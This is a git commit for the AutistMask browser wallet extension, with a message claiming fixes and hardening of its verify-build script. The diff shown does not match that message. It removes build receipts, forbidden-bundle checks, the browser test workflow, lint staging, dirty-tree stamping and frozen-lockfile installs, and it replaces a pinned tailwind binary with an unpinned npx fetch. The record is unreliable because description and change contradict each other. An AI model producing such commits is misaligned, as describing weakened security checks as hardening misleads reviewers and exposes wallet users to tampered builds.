fix: correct verify-build diagnostics and close its vacuous passes (closes #180)

The both-markers diagnostic claimed the debug branch was still live. It is
not: with the __BUILD_DEBUG__ define removed, the emitted bundle carries
`typeof __BUILD_DEBUG__<"u"?__BUILD_DEBUG__:!1`, and in extension context the
identifier is undeclared, so DEBUG evaluates to false at runtime. The message
now states what the check does prove -- DEBUG was not resolved at build time,
so the release/debug distinction is no longer enforced and which way the
unresolved fallback evaluates is an accident a refactor can flip -- and it
remains a hard failure. The other seven failure messages were reviewed and
none needed rewording.

has_marker no longer swallows grep's exit 2 with 2>/dev/null. Match and
no-match are answers about the emitted output; an unreadable file is not, and
is now reported as a permissions or I/O fault instead of as "the emitted
output changed shape". Both paths still fail hard. The manifest-membership
grep gets the same treatment in is_listed: an unreadable manifest is no longer
answered as "this file is not listed".

The unlisted-bundle scan no longer filters by extension, so the endsWith(".js")
test in build.js is the only place that assumption lives. A bundle emitted
under another extension previously escaped the manifest and the cross-check at
once; it now fails as unlisted. Both sites carry a comment naming the other.

That makes the scan the sole guard on build.js's filter, so its walk has to be
exhaustive rather than assumed to be. find's exit status was discarded twice
over -- the pipeline reported sort's status, and set -e does not fire on an
assignment from a successful pipeline -- so a subtree find could not descend
printed to stderr and was then silently omitted, and an unlisted marker-carrying
bundle inside a chmod 000 directory passed green. The status is now captured
and a non-zero find is a hard failure naming the unwalked tree; the sort moved
off the status-bearing pipeline. Symlinks are walked as well: a marker-carrying
bundle reachable under an unlisted path is a stale manifest whether the path is
a link or a file, and a link that cannot be read through fails closed via the
exit-2 path.

Also: the manifest must be readable and a listed bundle must be non-empty,
so a vacuous input fails loudly rather than reaching a marker check that
cannot prove anything.

.dockerignore

@@ -1,7 +1,3 @@
-# .git is deliberately NOT excluded: build.js shells out to `git rev-parse` for
-# build-info stamping and the Dockerfile runs `make build`, so excluding it
-# would make every built extension report commitHash "unknown".
 node_modules
 .DS_Store
 dist
-release

.gitea/workflows/e2e.yml

@@ -1,49 +0,0 @@
-name: e2e
-on: [push]
-
-# The browser end-to-end suites, one job per browser, deliberately kept out
-# of the check workflow: REPO_POLICIES.md caps make test at 20 seconds and
-# script/cibuild is a plain `docker build .` whose Dockerfile runs
-# make check, so folding a browser suite into either would blow that cap
-# and slow the local fast path. Before this workflow every browser-level
-# guarantee in this repo held only when a human remembered to run it.
-#
-# One job per browser rather than two steps in one job, so a Chrome failure
-# does not hide the Firefox result.
-#
-# Each job is one script and nothing else. Both scripts need docker and
-# nothing else — they deliver the repo to the daemon as a build context and
-# build the extension inside the pinned image — which is what makes them
-# runnable here at all: the runner executes the job in a container against
-# the host's docker socket, so a `-v "$PWD:/work"` source path is resolved
-# by the host daemon and mounts an empty directory, and the runner image's
-# node is too old to install this repo's dependencies.
-#
-# These jobs REPORT, they do not gate. Whether a check blocks a merge is
-# Gitea branch protection, which this repo does not configure, so a failure
-# here is a red mark a reviewer has to account for rather than a hard
-# block. Making e2e-chrome a required check is blocked on the measured
-# flake in the dApp signing wait -- two of six runs of unmutated code on a
-# loaded machine -- tracked as
-# https://git.eeqj.de/sneak/AutistMask/issues/287. A gate that fails at
-# random teaches people to merge past red.
-#
-# Nothing here may pass vacuously. There is no continue-on-error and no
-# `|| true`. Both scripts exit non-zero when docker is missing, when the
-# image build fails, and when the browser fails to start; the Chrome
-# harness aborts the suite outright if its network interception is not in
-# effect.
-jobs:
-    e2e-chrome:
-        runs-on: ubuntu-latest
-        steps:
-            # actions/checkout v4.2.2, 2026-02-22
-            - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
-            - run: script/test-e2e
-
-    e2e-firefox:
-        runs-on: ubuntu-latest
-        steps:
-            # actions/checkout v4.2.2, 2026-02-22
-            - uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683
-            - run: script/test-e2e-firefox

.gitignore

@@ -23,9 +23,6 @@ node_modules/
 # Build output
 dist/
 
-# Release artifacts (make package). Derived from dist/, never committed.
-release/
-
 # Yarn
 .yarn-integrity
 package-lock.json

.prettierignore

@@ -1,5 +1,4 @@
 node_modules/
 yarn.lock
 dist/
-release/
 .claude/

Dockerfile

@@ -1,21 +1,8 @@
 # node:22-slim (22.x LTS), 2026-02-24
-FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36 AS base
+FROM node@sha256:5373f1906319b3a1f291da5d102f4ce5c77ccbe29eb637f072b6c7b70443fc36
 
 WORKDIR /app
 
-# Marks "already inside the lint container" for script/lint, which otherwise
-# shells out to docker to build the lint stage below. Nothing outside this
-# image sets it.
-ENV AUTISTMASK_LINT_NATIVE=1
-
-# script/test's default 30s bound is the host figure, against a suite that
-# runs in about 8s there. In here the same suite starts on a cold jest cache
-# and shares the runner with the rest of the build, so 30s is marginal rather
-# than a bound — it killed a healthy suite at 30.6s on a cold CI cache. 180s
-# still catches a hang in three minutes and cannot be tripped by a suite that
-# is merely running on contended hardware.
-ENV AUTISTMASK_TEST_TIMEOUT=180
-
 # script/bootstrap installs all prerequisites (make via apt here; node
 # is already in the base image, yarn comes via corepack) and runs
 # yarn install --frozen-lockfile. Dependency manifests are copied first
@@ -26,17 +13,5 @@ RUN script/bootstrap
 
 COPY . .
 
-# Lint stage — fail fast on static analysis and formatting, before the tests
-# and the build. This is also the stage script/lint builds from a host, which
-# is how linting stays on the pinned ESLint rather than the host's.
-FROM base AS lint
-RUN make lint
-
-# Full check and build. The COPY --from is a no-op file copy whose only job is
-# to make BuildKit finish the lint stage before this one starts; without it the
-# stages run in parallel and a lint failure would not fail the build early.
-FROM base AS check
-COPY --from=lint /app/package.json /dev/null
-
 RUN make check
 RUN make build

LICENSE

@@ -682,14 +682,7 @@ under their own licenses. They are NOT covered by the GPL-3.0 license above.
 
 ---------------------------------------------------------------------------
 File: src/shared/phishingBlocklist.json
-Source: the eth-phishing-detect community blocklist (src/config.json).
-        The file here is derived from it, not a copy of it: only the
-        blacklist is carried over, and each entry is stored as a truncated
-        digest rather than a domain name. script/vendor-blocklist records
-        the exact upstream URL, the commit it is pinned to and the hash of
-        the bytes that commit serves, and is what regenerates this file.
-        The URL previously cited here, under a different organisation,
-        returns 404: that repository is gone.
+Source: https://github.com/AugurProject/eth-phishing-detect (config.json)
 Copyright: Copyright (c) 2018 kumavis
 License: Don't Be a Dick Public License (DBAD), Version 1.2
 ---------------------------------------------------------------------------

Makefile

@@ -1,4 +1,4 @@
-.PHONY: bootstrap setup install test test-e2e test-e2e-firefox lint fmt fmt-check check check-censored docker hooks build build-debug package vendor-blocklist clean dev
+.PHONY: bootstrap setup install test test-e2e lint fmt fmt-check check docker hooks build build-debug verify-build clean dev
 
 # Standard targets are thin shims; the implementations live in script/
 # per the scripts-to-rule-them-all pattern (see the Entrypoints section
@@ -11,18 +11,15 @@ setup:
 	@script/setup
 
 install:
-	@yarn install --frozen-lockfile
+	@yarn install
 
 test:
 	@script/test
 
-# Browser end-to-end suites. Both require docker; neither is part of check.
+# Browser end-to-end suite. Requires docker; not part of check.
 test-e2e:
 	@script/test-e2e
 
-test-e2e-firefox:
-	@script/test-e2e-firefox
-
 lint:
 	@script/lint
 
@@ -35,77 +32,32 @@ fmt-check:
 check:
 	@script/check
 
-# Assert that the competitor name appears nowhere but its documented
-# exceptions. Part of check, and re-run against dist/ at the end of a build;
-# separate target for re-running it alone.
-check-censored:
-	@script/check-censored
-
-package:
-	@script/package
-
 docker:
 	@script/docker
 
 hooks:
 	@script/install-precommit
 
-# build.js writes a receipt of everything it emitted — every path, its sha256,
-# and whether it is a bundle containing constants.js — and script/verify-build
-# checks dist/ against that. The receipt is made here, fresh per invocation,
-# outside the repo, and deleted again: a standing file inside dist/ would be
-# rewritten by whoever rewrote dist/, which is what made the old check
-# satisfiable by a hand-written tree.
-#
-# The expected mode is an explicit argument and AUTISTMASK_DEBUG is scrubbed
-# from the verifier's environment. The script no longer reads it at all; env -u
-# is here so that stays true of anything it calls. It is deliberately NOT
-# scrubbed from the build itself: with AUTISTMASK_DEBUG=1 exported, this target
-# compiles a debug bundle and then fails on it, loudly, rather than quietly
-# handing back something other than the release build that was asked for.
-#
-# Every step of this target is wrapped in script/discard-dist-on-failure, so a
-# release build that fails removes dist/ instead of leaving a complete, loadable
-# debug bundle there for whoever runs the build, sees it fail, and loads
-# dist/chrome/ anyway. A step that succeeds removes nothing, and build-debug is
-# deliberately not wrapped.
 build:
 	@echo "Building extension..."
-	@set -eu; \
-	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
-	trap 'rm -f "$$receipt"' EXIT INT TERM; \
-	script/discard-dist-on-failure \
-		env AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
-	script/discard-dist-on-failure \
-		env -u AUTISTMASK_DEBUG script/verify-build --expect release \
-		--receipt "$$receipt"
-	@script/discard-dist-on-failure script/check-censored --require-dist
+	@yarn run build 2>&1
+	@script/verify-build
 
 # Development-only build: enables the red DEBUG / INSECURE banner and makes
 # the hardcoded test recovery phrase the output of wallet creation. Never
 # distribute the artifacts this produces.
-#
-# No discard-dist-on-failure here, on purpose: a debug build that fails is not
-# producing an artifact anyone could mistake for a release one, and its dist/ is
-# the evidence of what went wrong.
 build-debug:
 	@echo "Building extension (DEBUG)..."
-	@set -eu; \
-	receipt="$$(mktemp "$${TMPDIR:-/tmp}/autistmask-build-receipt.XXXXXX")"; \
-	trap 'rm -f "$$receipt"' EXIT INT TERM; \
-	AUTISTMASK_DEBUG=1 AUTISTMASK_BUILD_RECEIPT="$$receipt" yarn run build 2>&1; \
-	env -u AUTISTMASK_DEBUG script/verify-build --expect debug \
-		--receipt "$$receipt"
-	@script/check-censored --require-dist
+	@AUTISTMASK_DEBUG=1 yarn run build 2>&1
+	@AUTISTMASK_DEBUG=1 script/verify-build
 
-# Refresh src/shared/phishingBlocklist.json from its hash-pinned upstream.
-# Run deliberately, land the diff: the extension does no runtime fetching, so
-# the shipped list is as fresh as the last vendoring run that was released.
-vendor-blocklist:
-	@script/vendor-blocklist
+# Assert the compiled DEBUG state of the bundles already in dist/. Runs at
+# the end of build and build-debug; separate target for re-running it alone.
+verify-build:
+	@script/verify-build
 
 clean:
-	@rm -rf dist/ release/
+	@rm -rf dist/
 
 dev:
 	@echo "Building in watch mode..."

build.js

@@ -1,66 +1,19 @@
 const fs = require("fs");
 const path = require("path");
-const crypto = require("crypto");
 const { execSync } = require("child_process");
 const esbuild = require("esbuild");
-const { resolveVersion } = require("./script/lib/version");
-const {
-    BACKGROUND_ENTRY_PREFIX,
-    FORBIDDEN_INPUTS,
-    assertTableWellFormed,
-} = require("./script/lib/forbiddenBundleInputs");
 
 const DIST = path.join(__dirname, "dist");
 const DIST_CHROME = path.join(DIST, "chrome");
 const DIST_FIREFOX = path.join(DIST, "firefox");
 const SRC = path.join(__dirname, "src");
 
-// The module whose compiled DEBUG state script/verify-build asserts. Which
-// bundles contain it is derived from esbuild's own dependency graph rather
-// than from a hardcoded list, so it tracks the bundle layout instead of
-// rotting with it.
+// The module whose compiled DEBUG state script/verify-build asserts, and the
+// manifest naming every emitted bundle that ends up containing it. The
+// manifest is derived from esbuild's own dependency graph rather than from a
+// hardcoded list, so it tracks the bundle layout instead of rotting with it.
 const AUDITED_MODULE = "src/shared/constants.js";
-
-// FORBIDDEN_INPUTS — what each entry point's bundle may not contain, and what
-// that covers — lives in script/lib/forbiddenBundleInputs.js, because the
-// ESLint rule reads the same table and two literal copies of a path drift.
-//
-// This is the authoritative check, and it is here rather than in the linter
-// because it consults the resolution esbuild actually performed. Any specifier
-// syntax, any hop, any resolution rule that puts the module in the bundle fails
-// the build, whether or not a text matcher would have recognized it. A
-// background entry point the table does not name fails as well, so a second
-// worker is protected by default rather than by someone remembering this file.
-// Dockerfile:42 runs `make build`, so it is enforced in CI.
-
-// The build receipt: every file this build emits, with its sha256 and whether
-// it is one of the audited bundles. script/verify-build is handed this and
-// checks dist/ against it, so the file list comes from the build that just ran
-// rather than being read back out of the tree it is supposed to vouch for.
-//
-// The path is supplied by the caller, not chosen here, and the Makefile makes
-// a fresh one per invocation outside the repo: that is what ties a receipt to
-// one build rather than leaving a standing file anyone can write.
-const RECEIPT_HEADER = "autistmask-build-receipt v1";
-const RECEIPT_ENV = "AUTISTMASK_BUILD_RECEIPT";
-
-// Every emitted path must be plainly nameable, because the receipt is a
-// line-oriented text file consumed by a POSIX shell script and a path with a
-// space or a newline in it could not be read back unambiguously. Nothing this
-// build emits looks like that; if that ever changes, the build fails here
-// rather than writing a receipt that cannot be checked.
-const SAFE_EMITTED_PATH = /^dist\/[A-Za-z0-9._][A-Za-z0-9._/-]*$/;
-
-// Where each browser directory's manifest comes from, and — through its
-// "icons" — which image files ship inside that directory.
-const MANIFEST_SOURCES = new Map([
-    [DIST_CHROME, path.join(__dirname, "manifest", "chrome.json")],
-    [DIST_FIREFOX, path.join(__dirname, "manifest", "firefox.json")],
-]);
-
-// What an "icons" entry may name: a plain file under icons/, so a manifest
-// value is never joined into a path that leaves the repo.
-const ICON_REF_RE = /^icons\/[A-Za-z0-9._-]+\.png$/;
+const BUNDLE_MANIFEST = path.join(DIST, "constants-bundles.txt");
 
 function ensureDir(dir) {
     fs.mkdirSync(dir, { recursive: true });
@@ -78,10 +31,10 @@ function repoRelative(p) {
 // searching the minified text, it does not depend on what survived minification.
 //
 // The ".js" filter below is the only place that assumption lives:
-// script/verify-build reads every file the receipt names, whatever its
-// extension, and fails on any that carries a debug marker without being
-// recorded as an audited bundle — so a bundle emitted under some other
-// extension fails there rather than escaping both checks at once.
+// script/verify-build searches every file and symlink under dist/ for a
+// marker, without filtering by extension, and hard-fails if it cannot walk the
+// whole tree, so a bundle emitted under some other extension fails there as
+// unlisted rather than escaping both checks at once.
 function outputsContainingAuditedModule(metafile) {
     return Object.entries(metafile.outputs)
         .filter(([outFile, info]) => {
@@ -93,288 +46,6 @@ function outputsContainingAuditedModule(metafile) {
         .map(([outFile]) => repoRelative(outFile));
 }
 
-// Shortest import chain from `entryInput` to `target` through the metafile's
-// own input graph, or null when there is none. The message this feeds is the
-// point of the check: "state.js is in the worker bundle" is not actionable on
-// its own, "index.js -> chainSwitchFields.js -> state.js" is.
-function importChain(metafile, entryInput, target) {
-    const graph = new Map(
-        Object.entries(metafile.inputs).map(([input, info]) => [
-            repoRelative(input),
-            (info.imports || []).map((i) => repoRelative(i.path)),
-        ]),
-    );
-    const start = repoRelative(entryInput);
-    const seen = new Set([start]);
-    const queue = [[start]];
-    while (queue.length > 0) {
-        const chain = queue.shift();
-        for (const next of graph.get(chain[chain.length - 1]) || []) {
-            if (next === target) return chain.concat([next]);
-            if (seen.has(next)) continue;
-            seen.add(next);
-            queue.push(chain.concat([next]));
-        }
-    }
-    return null;
-}
-
-// What the forbidden-input checks accumulate over a whole build: which
-// FORBIDDEN_INPUTS keys were actually bundled, and every input of every output
-// this build emitted. Both are read by assertForbiddenTableCovered() at the
-// end — a table entry naming something that is not there any more enforces
-// nothing, and must fail rather than pass quietly.
-function newForbiddenRecord() {
-    return { entriesChecked: new Set(), bundledInputs: new Set() };
-}
-
-// Note every input of every output of one esbuild run. Deliberately not
-// restricted to the entry points named in FORBIDDEN_INPUTS: it is the POPUP
-// that legitimately bundles src/shared/state.js, and that is what makes
-// "the forbidden module still exists at this path" checkable at all.
-function recordBundledInputs(metafile, record) {
-    for (const info of Object.values(metafile.outputs)) {
-        for (const input of Object.keys(info.inputs)) {
-            record.bundledInputs.add(repoRelative(input));
-        }
-    }
-}
-
-// Fail the build when an entry point's bundle contains a module it is
-// prohibited from reaching. The inputs come from esbuild's metafile, so this is
-// the resolution the shipped bundle was built from and not a guess at it.
-//
-// A background entry point with no line in the table fails here too. The five
-// defects this exists to prevent were accidents, and so is adding a second
-// worker entry point without knowing that a table somewhere needs a line: the
-// protection has to be the default for that directory rather than something
-// the next author must opt into.
-function assertNoForbiddenInputs(
-    entryPoint,
-    outfile,
-    metafile,
-    record,
-    table = FORBIDDEN_INPUTS,
-) {
-    const entry = repoRelative(entryPoint);
-    const forbidden = table[entry];
-    if (!forbidden) {
-        if (!entry.startsWith(BACKGROUND_ENTRY_PREFIX)) return;
-        throw new Error(
-            `${entry} is a background entry point with no line in ` +
-                `FORBIDDEN_INPUTS, so nothing stops its bundle from ` +
-                `containing the shared state singleton. Add it to ` +
-                `script/lib/forbiddenBundleInputs.js. The MV3 worker never ` +
-                `populates that singleton, so reading it serves ` +
-                `DEFAULT_STATE; use getState()/updateState() from ` +
-                `src/background/state.js instead.`,
-        );
-    }
-
-    const out = repoRelative(outfile);
-    const entryOutput = Object.entries(metafile.outputs).find(
-        ([outFile]) => repoRelative(outFile) === out,
-    );
-    if (!entryOutput) {
-        throw new Error(`esbuild reported no metafile output for ${out}`);
-    }
-    const inputs = new Set(
-        Object.keys(entryOutput[1].inputs).map(repoRelative),
-    );
-
-    // Recorded only once the bundle's inputs are actually in hand. Marking the
-    // entry checked any earlier — as this did — means an early return above
-    // satisfies assertForbiddenTableCovered() with a bundle nobody examined,
-    // and the coverage half cannot tell that from a real check. The lookup
-    // above is the fragile step: repoRelative() resolves against process.cwd()
-    // while esbuild's output keys are cwd-relative, so a change to where the
-    // build runs from could miss.
-    record.entriesChecked.add(entry);
-
-    for (const module of forbidden) {
-        if (!inputs.has(module)) continue;
-        const chain = importChain(metafile, entryPoint, module);
-        throw new Error(
-            `${out} bundles ${module}, which ${entry} must not reach` +
-                `${chain ? `: ${chain.join(" -> ")}` : ""}. The MV3 worker ` +
-                `never populates the shared state singleton, so reading it ` +
-                `serves DEFAULT_STATE. Use getState()/updateState() from ` +
-                `src/background/state.js instead.`,
-        );
-    }
-}
-
-// Fail the build when the table has rotted away from the tree it describes.
-// Both halves of an entry rot independently, and either one turns the whole
-// prohibition into a pass that checks nothing:
-//
-//   - the KEY, when no bundled entry point matches it: the entry point was
-//     renamed or is no longer built, and no bundle was ever tested against the
-//     list;
-//   - the MODULE, when this build bundled it nowhere: the module was renamed,
-//     moved or deleted, so "is it an input of the background bundle" is asked
-//     about a path nothing resolves to and is answered no forever. The popup
-//     legitimately bundles src/shared/state.js, which is what makes this
-//     checkable — and it is stronger than an existsSync(), because it also
-//     fails when the file is still there but has dropped out of every bundle.
-//
-// This matters concretely: https://git.eeqj.de/sneak/AutistMask/issues/311
-// rewrites this persistence layer, and a rename that quietly disarmed the
-// guarantee would put the singleton back within reach of the worker with every
-// check in the repo still green.
-//
-// The third way — an entry that lists no modules at all — is refused where the
-// table is defined, at require time, because that one also empties the ESLint
-// rule's forbidden set and so has to fail before either layer runs. It is
-// re-checked here so the build's own half does not depend on the table having
-// been loaded from that file.
-function assertForbiddenTableCovered(record, table = FORBIDDEN_INPUTS) {
-    assertTableWellFormed(table);
-    for (const [entry, modules] of Object.entries(table)) {
-        if (!record.entriesChecked.has(entry)) {
-            throw new Error(
-                `${entry} is listed in FORBIDDEN_INPUTS but was not bundled, ` +
-                    `so nothing checked it`,
-            );
-        }
-        for (const module of modules) {
-            if (record.bundledInputs.has(module)) continue;
-            throw new Error(
-                `${module} is listed in FORBIDDEN_INPUTS for ${entry}, but ` +
-                    `this build bundled it nowhere, so the prohibition names ` +
-                    `a module that is not in this tree at that path and ` +
-                    `nothing enforces it. If the module moved, move it in ` +
-                    `script/lib/forbiddenBundleInputs.js too, which both ` +
-                    `this check and the ESLint rule read.`,
-            );
-        }
-    }
-}
-
-// Every file this build writes under dist/, recorded as it is written. This is
-// the build's own account of what it emitted; it is never recovered by
-// listing dist/, because a file that is in dist/ without this build having put
-// it there is exactly what the receipt exists to expose.
-const emittedFiles = [];
-
-function recordEmitted(absPath) {
-    emittedFiles.push(absPath);
-}
-
-// Copying is the only other way a file reaches dist/; esbuild and the Tailwind
-// CLI record their outputs where they are invoked.
-function copyEmitted(src, dest) {
-    fs.copyFileSync(src, dest);
-    recordEmitted(dest);
-}
-
-// Copy the icons one browser directory ships. The sizes come from the manifest
-// that will sit next to them, not from a second list here: a size the manifest
-// declares and icons/ does not hold fails the build, rather than shipping a
-// manifest whose reference resolves to nothing. Relative to the browser
-// directory, so nothing points up and out of it the way dist/styles.css does.
-function copyIcons(distDir) {
-    const manifestPath = MANIFEST_SOURCES.get(distDir);
-    const manifest = JSON.parse(fs.readFileSync(manifestPath, "utf8"));
-    const refs = Object.values(manifest.icons || {});
-    if (refs.length === 0) {
-        throw new Error(
-            `${repoRelative(manifestPath)} declares no icons, so the browser ` +
-                `renders a generic placeholder for this extension`,
-        );
-    }
-    for (const ref of refs) {
-        if (!ICON_REF_RE.test(ref)) {
-            throw new Error(
-                `${repoRelative(manifestPath)} declares icon ` +
-                    `${JSON.stringify(ref)}, which is not a plain file under ` +
-                    `icons/`,
-            );
-        }
-        const src = path.join(__dirname, ref);
-        if (!fs.existsSync(src)) {
-            throw new Error(
-                `${repoRelative(manifestPath)} declares ${ref}, which is not ` +
-                    `in this tree`,
-            );
-        }
-        const dest = path.join(distDir, ref);
-        ensureDir(path.dirname(dest));
-        copyEmitted(src, dest);
-    }
-}
-
-function sha256File(absPath) {
-    return crypto
-        .createHash("sha256")
-        .update(fs.readFileSync(absPath))
-        .digest("hex");
-}
-
-// Write the receipt for the files this build emitted. Deliberately records no
-// build mode: which mode was asked for is script/verify-build's argument, so
-// build.js cannot vouch for build.js. All the receipt says is "these bytes,
-// under these names, are what I wrote, and these ones bundle constants.js".
-function writeReceipt(receiptPath, auditedBundles) {
-    const audited = new Set(auditedBundles);
-    const paths = [...new Set(emittedFiles.map(repoRelative))].sort();
-
-    for (const p of paths) {
-        if (!SAFE_EMITTED_PATH.test(p)) {
-            throw new Error(
-                `emitted path cannot be written to a build receipt: ${JSON.stringify(p)}`,
-            );
-        }
-    }
-
-    // A bundle esbuild reported but that nothing recorded as emitted means the
-    // two halves have drifted apart, and the receipt would then leave an
-    // audited bundle out. Fail rather than emit a short receipt.
-    for (const bundle of audited) {
-        if (!paths.includes(bundle)) {
-            throw new Error(
-                `${bundle} contains ${AUDITED_MODULE} but was not recorded as emitted`,
-            );
-        }
-    }
-    if (audited.size === 0) {
-        throw new Error(
-            `no emitted bundle contains ${AUDITED_MODULE}, which is never correct`,
-        );
-    }
-
-    const lines = [RECEIPT_HEADER, `root ${fs.realpathSync(__dirname)}`];
-    for (const p of paths) {
-        const flag = audited.has(p) ? "A" : "P";
-        lines.push(`file ${sha256File(path.join(__dirname, p))} ${flag} ${p}`);
-    }
-    fs.writeFileSync(receiptPath, lines.map((l) => `${l}\n`).join(""));
-
-    console.log(
-        `Build receipt: ${paths.length} emitted file(s), ${audited.size} ` +
-            `containing ${AUDITED_MODULE} (${receiptPath})`,
-    );
-}
-
-// Where the receipt goes, decided before anything is emitted so a build that
-// cannot produce a checkable receipt fails before it writes any artifacts.
-// Inside dist/ is refused: a receipt that lives in the tree it describes can
-// be rewritten by whoever rewrites the tree, which is the hole this replaces.
-function receiptTarget() {
-    const requested = process.env[RECEIPT_ENV];
-    if (!requested) {
-        return null;
-    }
-    const resolved = path.resolve(requested);
-    if (resolved === DIST || resolved.startsWith(DIST + path.sep)) {
-        throw new Error(
-            `${RECEIPT_ENV} points inside dist/ (${resolved}). The receipt ` +
-                `describes dist/ and must not live in it.`,
-        );
-    }
-    return resolved;
-}
-
 // DEBUG is a build-time flag, off unless explicitly requested. It is the only
 // thing that makes the hardcoded test mnemonic reachable, so the opt-in must be
 // exact: anything other than the literal "1" (unset, empty, "true", a typo)
@@ -383,53 +54,28 @@ function isDebugBuild() {
     return process.env.AUTISTMASK_DEBUG === "1";
 }
 
-// A short git output, or null when git cannot answer. Distinguishing "git said
-// nothing" from "git could not be asked" matters below: a working tree whose
-// state is unknown must not be stamped as clean.
-function git(args) {
-    try {
-        return execSync(`git ${args}`, {
-            encoding: "utf8",
-            stdio: ["ignore", "pipe", "ignore"],
-        }).trim();
-    } catch {
-        // not a git repo, or git not available
-        return null;
-    }
-}
-
-// The working-tree state, as a suffix for the displayed commit: "" when the
-// tree matches HEAD, "-dirty" when it does not, "-unknown" when git answered
-// the hash but not the status. Without this a build from a modified tree
-// stamped a clean hash, so the About screen named a commit whose contents were
-// not what was running — the one thing that stamp exists to establish.
-//
-// git status --porcelain honours .gitignore, so dist/ and node_modules/ do not
-// make every build dirty; an untracked file that is NOT ignored does, and
-// correctly: it may well be in the bundle.
-function worktreeSuffix() {
-    const status = git("status --porcelain");
-    if (status === null) return "-unknown";
-    return status === "" ? "" : "-dirty";
-}
-
 function getBuildInfo() {
     const pkg = JSON.parse(
         fs.readFileSync(path.join(__dirname, "package.json"), "utf8"),
     );
-    const commitHashFull = git("rev-parse HEAD") || "unknown";
-    const shortHash = git("rev-parse --short HEAD") || "unknown";
-    // The full hash is left clean because it is the href of the commit link in
-    // the About screen, and "abc123-dirty" is not a commit anyone can fetch.
-    // The displayed short hash carries the marker, so the screen says the tree
-    // was modified while still linking somewhere real.
-    const commitHash =
-        shortHash === "unknown" ? shortHash : shortHash + worktreeSuffix();
+    let commitHash = "unknown";
+    try {
+        commitHash = execSync("git rev-parse --short HEAD", {
+            encoding: "utf8",
+        }).trim();
+    } catch (_) {
+        // not a git repo or git not available
+    }
+    let commitHashFull = "unknown";
+    try {
+        commitHashFull = execSync("git rev-parse HEAD", {
+            encoding: "utf8",
+        }).trim();
+    } catch (_) {
+        // not a git repo or git not available
+    }
     return {
-        // Fails the build when package.json and the two manifests disagree;
-        // see script/lib/version.js. Called before anything is emitted, so a
-        // tree with no single version never reaches dist/.
-        version: resolveVersion(__dirname),
+        version: pkg.version,
         license: pkg.license,
         author: pkg.author,
         commitHash,
@@ -441,15 +87,6 @@ function getBuildInfo() {
 async function build() {
     console.log("Building AutistMask extension...");
 
-    const receiptPath = receiptTarget();
-    if (!receiptPath) {
-        console.warn(
-            `WARNING: ${RECEIPT_ENV} is unset, so this build writes no ` +
-                `receipt and script/verify-build cannot verify what it ` +
-                `emitted. Build through make build / make build-debug.`,
-        );
-    }
-
     const buildInfo = getBuildInfo();
     console.log("Build info:", buildInfo);
 
@@ -471,38 +108,23 @@ async function build() {
     };
 
     // Emitted bundles that contain constants.js, accumulated across every
-    // esbuild run below and recorded in the receipt for script/verify-build.
+    // esbuild run below and written out for script/verify-build.
     const auditedBundles = [];
 
-    // What the forbidden-input checks accumulate across those same runs.
-    const forbiddenRecord = newForbiddenRecord();
-
     // compile tailwind CSS
     console.log("Compiling Tailwind CSS...");
     const tailwindInput = path.join(SRC, "popup", "styles", "main.css");
     const tailwindOutput = path.join(DIST, "styles.css");
-
-    // Start from an empty dist/, so what is there afterwards is what this
-    // build put there and nothing else. Leftovers from an earlier build are
-    // not covered by this build's receipt, and script/verify-build rejects
-    // any file it did not emit rather than ignoring it.
-    fs.rmSync(DIST, { recursive: true, force: true });
     ensureDir(DIST);
 
-    // The locally installed binary, not `npx` — npx silently fetches from the
-    // registry when the binary is absent, which is an unpinned network fetch
-    // in the middle of a build.
-    const tailwindBin = path.join(
-        __dirname,
-        "node_modules",
-        ".bin",
-        "tailwindcss",
-    );
+    // Drop any manifest from a previous build before emitting anything, so a
+    // build that never gets around to writing one cannot be verified against
+    // a stale list.
+    fs.rmSync(BUNDLE_MANIFEST, { force: true });
     execSync(
-        `"${tailwindBin}" -i "${tailwindInput}" -o "${tailwindOutput}" --minify`,
+        `npx @tailwindcss/cli -i ${tailwindInput} -o ${tailwindOutput} --minify`,
         { stdio: "inherit" },
     );
-    recordEmitted(tailwindOutput);
 
     // Every bundle goes through here, so metafile collection cannot be
     // forgotten when a new entry point is added.
@@ -518,16 +140,6 @@ async function build() {
             metafile: true,
             define,
         });
-        // Before the output is recorded as emitted: a bundle that violates a
-        // prohibition must abort the build, not be written into a receipt.
-        recordBundledInputs(result.metafile, forbiddenRecord);
-        assertNoForbiddenInputs(
-            entryPoint,
-            outfile,
-            result.metafile,
-            forbiddenRecord,
-        );
-        recordEmitted(outfile);
         auditedBundles.push(...outputsContainingAuditedModule(result.metafile));
     }
 
@@ -561,63 +173,39 @@ async function build() {
         );
 
         // copy popup HTML
-        copyEmitted(
+        fs.copyFileSync(
             path.join(SRC, "popup", "index.html"),
             path.join(distDir, "src", "popup", "index.html"),
         );
 
         // place compiled CSS next to popup HTML
-        copyEmitted(
+        fs.copyFileSync(
             tailwindOutput,
             path.join(distDir, "src", "popup", "styles.css"),
         );
-
-        copyIcons(distDir);
     }
 
     // copy manifests
-    copyEmitted(
+    fs.copyFileSync(
         path.join(__dirname, "manifest", "chrome.json"),
         path.join(DIST_CHROME, "manifest.json"),
     );
-    copyEmitted(
+    fs.copyFileSync(
         path.join(__dirname, "manifest", "firefox.json"),
         path.join(DIST_FIREFOX, "manifest.json"),
     );
 
-    assertForbiddenTableCovered(forbiddenRecord);
-
-    // Written last so a build that died partway through leaves no receipt at
-    // all, which script/verify-build treats as a hard failure rather than as
-    // "nothing to check".
-    if (receiptPath) {
-        writeReceipt(receiptPath, auditedBundles);
-    }
+    // Written last so a build that died partway through leaves no manifest
+    // at all, which script/verify-build treats as a hard failure rather than
+    // as "nothing to check".
+    const manifest = [...new Set(auditedBundles)].sort();
+    fs.writeFileSync(BUNDLE_MANIFEST, manifest.map((p) => `${p}\n`).join(""));
+    console.log(
+        `Bundles containing ${AUDITED_MODULE}: ${manifest.length} ` +
+            `(listed in ${repoRelative(BUNDLE_MANIFEST)})`,
+    );
 
     console.log("Build complete: dist/chrome/ and dist/firefox/");
 }
 
-// Run only as a program. Required as a module — which is how
-// tests/buildForbiddenInputs.test.js reaches the checks below — this file
-// builds nothing and writes nothing.
-if (require.main === module) {
-    build().catch((err) => {
-        console.error(
-            `Build failed: ${err && err.message ? err.message : err}`,
-        );
-        process.exit(1);
-    });
-}
